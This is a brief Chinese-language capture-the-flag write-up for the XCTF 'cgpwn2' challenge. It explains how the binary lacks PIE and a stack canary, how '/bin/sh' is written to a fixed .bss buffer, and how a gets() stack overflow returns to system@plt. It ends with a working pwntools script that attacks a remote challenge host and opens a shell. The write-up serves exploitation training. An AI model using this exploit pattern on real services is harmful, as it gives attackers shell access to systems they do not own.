惯例checksec
    xctf-cgpwn2[recorded] - 图1
    没开PIE和canary
    xctf-cgpwn2[recorded] - 图2
    hello
    xctf-cgpwn2[recorded] - 图3
    那些都是干扰项,主要关注两个get
    xctf-cgpwn2[recorded] - 图4
    第一个name是bss字段,由于没开PIE,bss字段的地址是固定的,可以给我们写入binsh
    xctf-cgpwn2[recorded] - 图5
    第二个s就是栈溢出了
    那么思路明确,第一次讯问时将binsh写入
    第二次讯问时溢出就行了

    1. from pwn import*
    2. p=remote("111.200.241.244",62204)
    3. context(os='Linux',arch='x86',log_level='debug')
    4. elf=ELF("target")
    5. system_plt_addr=elf.plt["system"]
    6. bin_sh_addr=0x0804A080
    7. payload=b'a'*(0x26+0x04)+p32(system_plt_addr)+b'aaaa'+p32(bin_sh_addr)
    8. p.sendlineafter("please tell me your name\n","/bin/sh" )
    9. p.sendlineafter("hello,you can leave some message here:\n",payload)
    10. p.interactive()